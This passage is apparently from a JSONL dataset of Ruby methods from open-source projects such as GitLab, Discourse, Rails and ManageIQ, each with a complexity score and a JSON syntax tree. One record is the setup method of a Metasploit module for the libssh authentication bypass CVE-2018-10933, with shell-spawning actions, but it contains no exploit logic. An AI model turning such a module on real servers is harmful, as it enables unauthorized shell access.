end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"value_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"value_for\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration\"]},\"public_send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}","id":"dad69b60-9f52-4375-a8fd-caa051caaf7c"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/denormalized_has_many_test.rb","start_line":41,"raw_source":"def test_on_cache_hit_record_should_come_back_with_cached_association\n    Item.fetch(@record.id) # warm cache\n\n    record_from_cache_hit = Item.fetch(@record.id)\n    assert_equal(@record, record_from_cache_hit)\n\n    result = assert_memcache_operations(0) do\n      assert_no_queries do\n        record_from_cache_hit.fetch_associated_records\n      end\n    end\n\n    assert_equal(@record.associated_records, result)\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_on_cache_hit_record_should_come_back_with_cached_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"record_from_cache_hit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@record\"]},{\"type\":\"lvar\",\"children\":[\"record_from_cache_hit\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_memcache_operations\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_from_cache_hit\"]},\"fetch_associated_records\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"associated_records\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"ac938ec1-78d6-4823-ba4b-2ad09c94fc73"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user_silencer.rb","start_line":10,"raw_source":"def self.silence(user, by_user = nil, opts = {})\n    UserSilencer.new(user, by_user, opts).silence\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"silence\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"by_user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserSilencer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"by_user\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"silence\"]}]}","id":"25be3bd2-12ac-483d-bc6f-93f3ecd98c0a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/board.rb","start_line":36,"raw_source":"def group_board?\n    group_id.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_board?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_id\"]},\"present?\"]}]}","id":"0bdefb50-d8c7-46d6-bd8f-fb683dc13773"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/relationship_mixin.rb","start_line":297,"raw_source":"def child_count(*args)\n    child_rels(*args).size\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"child_count\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"child_rels\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},\"size\"]}]}","id":"b7c91d8a-fbd9-48b0-bc48-92a43964c132"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/settings.rb","start_line":149,"raw_source":"def db_key_base_keys_32_bytes\n    db_key_base_keys.map do |key|\n      Gitlab::Utils.ensure_utf8_size(key, bytes: 32.bytes)\n    end\n  end","complexity_score":5.98,"ast_json":"{\"type\":\"def\",\"children\":[\"db_key_base_keys_32_bytes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_key_base_keys\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"ensure_utf8_size\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bytes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[32]},\"bytes\"]}]}]}]}]}]}","id":"767b295c-dd47-4cf5-9da9-d6875eac65c0"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/helpers.rb","start_line":99,"raw_source":"def create_admin_only_tags(tag_names)\n    create_limited_tags(\"Admin Tags\", Group::AUTO_GROUPS[:admins], tag_names)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_admin_only_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_names\"]}]},{\"type\":\"send\",\"children\":[null,\"create_limited_tags\",{\"type\":\"str\",\"children\":[\"Admin Tags\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"AUTO_GROUPS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"admins\"]}]},{\"type\":\"lvar\",\"children\":[\"tag_names\"]}]}]}","id":"dca9a2a0-101d-4321-9249-92e59e2b024c"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/index.rb","start_line":233,"raw_source":"def navigate_by_project_menu\n      visit project_path(project)\n      within \"#main-menu\" do\n        click_on \"Meetings\", match: :first\n      end\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"navigate_by_project_menu\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"project_path\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"str\",\"children\":[\"#main-menu\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"str\",\"children\":[\"Meetings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]}]}]}]}","id":"f4f0e98d-a067-40f4-9e50-f562eb5b4d08"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/timeboxes_helper.rb","start_line":272,"raw_source":"def display_issues_count_warning?(milestone)\n    milestone_visible_issues_count(milestone) > Milestone::DISPLAY_ISSUES_LIMIT\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"display_issues_count_warning?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"milestone\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"milestone_visible_issues_count\",{\"type\":\"lvar\",\"children\":[\"milestone\"]}]},\">\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Milestone\"]},\"DISPLAY_ISSUES_LIMIT\"]}]}]}","id":"fcc19366-e3a6-478a-be1e-9bcf51c70217"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/db/system/change/change_generator.rb","start_line":55,"raw_source":"def edit_devcontainer_files\n            return unless devcontainer?\n\n            edit_devcontainer_json\n            edit_compose_yaml\n          end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_devcontainer_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"devcontainer?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"edit_devcontainer_json\"]},{\"type\":\"send\",\"children\":[null,\"edit_compose_yaml\"]}]}]}","id":"9bd57b8a-5315-4454-b6d9-41a844227ccb"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_queue.rb","start_line":536,"raw_source":"def delivered_on\n    @delivered_on ||= Time.now\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"delivered_on\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@delivered_on\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]}","id":"025db329-27f5-4b73-a62b-f09d126a7667"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/emoji.rb","start_line":35,"raw_source":"def self.denied\n    Discourse.cache.fetch(cache_key(\"denied_emojis\")) { load_denied }\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"denied\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"cache\"]},\"fetch\",{\"type\":\"send\",\"children\":[null,\"cache_key\",{\"type\":\"str\",\"children\":[\"denied_emojis\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"load_denied\"]}]}]}","id":"4fd0e38b-190c-46d4-8bcc-64e8fb4d9e1d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/alert_management/alert_presenter.rb","start_line":47,"raw_source":"def incident_issues_link\n      project_incidents_url(project)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"incident_issues_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"project_incidents_url\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"0d10767b-e6fd-4875-91c4-4952dc024521"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/graphql/enum_values.rb","start_line":64,"raw_source":"def on_send(node)\n          value_node, params = enum_value(node)\n\n          return unless value_node\n          return if params.any? { deprecated?(_1) }\n          return if upcase_literal?(value_node) || upcase_method?(value_node)\n\n          add_offense(value_node)\n        end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value_node\"]},{\"type\":\"lvasgn\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"enum_value\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_node\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"any?\"]},1,{\"type\":\"send\",\"children\":[null,\"deprecated?\",{\"type\":\"lvar\",\"children\":[\"_1\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upcase_literal?\",{\"type\":\"lvar\",\"children\":[\"value_node\"]}]},{\"type\":\"send\",\"children\":[null,\"upcase_method?\",{\"type\":\"lvar\",\"children\":[\"value_node\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"value_node\"]}]}]}]}","id":"9e74901b-78b5-4a4c-9459-c44c0410a2d3"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/socialcast/test/test_socialcast_api.rb","start_line":41,"raw_source":"def test_list_users\n    users = @socialcast.list_users\n    expected = JSON.parse(USERS)[\"users\"].sort { |u| u[\"id\"] }\n    assert_equal 15, users.size\n    assert_equal expected[0], users[0]\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_list_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@socialcast\"]},\"list_users\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"const\",\"children\":[null,\"USERS\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"users\"]}]},\"sort\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[15]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"f137211b-c84d-4ac6-a272-3de31142e883"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'libssh Authentication Bypass Scanner',\n        'Description' => %q{\n          This module exploits an authentication bypass in libssh server code\n          where a USERAUTH_SUCCESS message is sent in place of the expected\n          USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and\n          0.8.0 through 0.8.3 are vulnerable.\n\n          Note that this module's success depends on whether the server code\n          can trigger the correct (shell/exec) callbacks despite only the state\n          machine's authenticated state being set.\n\n          Therefore, you may or may not get a shell if the server requires\n          additional code paths to be followed.\n        },\n        'Author' => [\n          'Peter Winter-Smith', # Discovery\n          'wvu'                 # Module\n        ],\n        'References' => [\n          ['CVE', '2018-10933'],\n          ['URL', 'https://www.libssh.org/security/advisories/CVE-2018-10933.txt']\n        ],\n        'DisclosureDate' => '2018-10-16',\n        'License' => MSF_LICENSE,\n        'Actions' => [\n          ['Shell', 'Description' => 'Spawn a shell'],\n          ['Execute', 'Description' => 'Execute a command']\n        ],\n        'DefaultAction' => 'Shell',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(22),\n      OptString.new('CMD', [false, 'Command or alternative shell']),\n      OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),\n      OptBool.new('CHECK_BANNER', [false, 'Check banner for libssh', true])\n    ])\n\n    register_advanced_options([\n      OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),\n      OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])\n    ])\n  end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"libssh Authentication Bypass Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an authentication bypass in libssh server code\\n\"]},{\"type\":\"str\",\"children\":[\"          where a USERAUTH_SUCCESS message is sent in place of the expected\\n\"]},{\"type\":\"str\",\"children\":[\"          USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and\\n\"]},{\"type\":\"str\",\"children\":[\"          0.8.0 through 0.8.3 are vulnerable.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Note that this module's success depends on whether the server code\\n\"]},{\"type\":\"str\",\"children\":[\"          can trigger the correct (shell/exec) callbacks despite only the state\\n\"]},{\"type\":\"str\",\"children\":[\"          machine's authenticated state being set.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Therefore, you may or may not get a shell if the server requires\\n\"]},{\"type\":\"str\",\"children\":[\"          additional code paths to be followed.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Peter Winter-Smith\"]},{\"type\":\"str\",\"children\":[\"wvu\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2018-10933\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.libssh.org/security/advisories/CVE-2018-10933.txt\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2018-10-16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Shell\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Spawn a shell\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Execute\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Execute a command\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"Shell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[22]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CMD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Command or alternative shell\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SPAWN_PTY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Spawn a PTY\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"CHECK_BANNER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Check banner for libssh\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSH_DEBUG\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"SSH debugging\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSH_TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"SSH timeout\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}]}","id":"cd779d37-0773-4d8b-b337-0c1da6d49a5f"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/test/rail_inspector/changelog_test.rb","start_line":87,"raw_source":"def test_validate_leading_whitespace_for_header\n    assert_offense(<<~CHANGELOG)\n      * Fix leading whitespace in CHANGELOG\n      ^^^^ CHANGELOG header must start with '*' and 3 spaces\n\n          *Hartley McGuire*\n    CHANGELOG\n\n    assert_offense(<<~CHANGELOG)\n      *    Fix leading whitespace in CHANGELOG\n      ^^^^ CHANGELOG header must start with '*' and 3 spaces\n\n          *Hartley McGuire*\n    CHANGELOG\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validate_leading_whitespace_for_header\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_offense\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"* Fix leading whitespace in CHANGELOG\\n\"]},{\"type\":\"str\",\"children\":[\"^^^^ CHANGELOG header must start with '*' and 3 spaces\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    *Hartley McGuire*\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_offense\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"*    Fix leading whitespace in CHANGELOG\\n\"]},{\"type\":\"str\",\"children\":[\"^^^^ CHANGELOG header must start with '*' and 3 spaces\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    *Hartley McGuire*\\n\"]}]}]}]}]}","id":"6af7ea42-24a2-4e72-9e81-07f5c8f17ec9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/staff_action_logs_controller.rb","start_line":30,"raw_source":"def diff\n    @history = UserHistory.find(params[:id])\n    prev = @history.previous_value\n    cur = @history.new_value\n\n    prev = JSON.parse(prev) if prev\n    cur = JSON.parse(cur) if cur\n\n    output = +\"<h2>#{CGI.escapeHTML(cur&.dig(\"name\").to_s)}</h2><p></p>\"\n\n    diff_fields = {}\n    diff_fields[\"name\"] = { prev: prev&.dig(\"name\").to_s, cur: cur&.dig(\"name\").to_s }\n\n    case @history.action\n    when *%i[change_theme delete_theme].map { |i| UserHistory.actions[i] }\n      diff_theme(diff_fields, prev, cur)\n    when *%i[tag_group_create tag_group_destroy tag_group_change].map { |i| UserHistory.actions[i] }\n      diff_tag_group(diff_fields, prev, cur)\n    end\n\n    diff_fields.delete_if { |k, v| v[:cur] == v[:prev] }\n\n    diff_fields.each do |k, v|\n      output << \"<h3>#{k}</h3><p></p>\"\n      diff = DiscourseDiff.new(v[:prev] || \"\", v[:cur] || \"\")\n      output << diff.side_by_side_markdown\n    end\n\n    render json: { side_by_side: output }\n  end","complexity_score":65.3,"ast_json":"{\"type\":\"def\",\"children\":[\"diff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@history\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prev\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@history\"]},\"previous_value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cur\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@history\"]},\"new_value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prev\"]},{\"type\":\"lvasgn\",\"children\":[\"prev\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"prev\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cur\"]},{\"type\":\"lvasgn\",\"children\":[\"cur\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"cur\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<h2>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeHTML\",{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cur\"]},\"dig\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"to_s\"]}]}]},{\"type\":\"str\",\"children\":[\"</h2><p></p>\"]}]},\"+@\"]}]},{\"type\":\"lvasgn\",\"children\":[\"diff_fields\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_fields\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prev\"]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prev\"]},\"dig\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cur\"]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cur\"]},\"dig\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"to_s\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@history\"]},\"action\"]},{\"type\":\"when\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"change_theme\"]},{\"type\":\"sym\",\"children\":[\"delete_theme\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"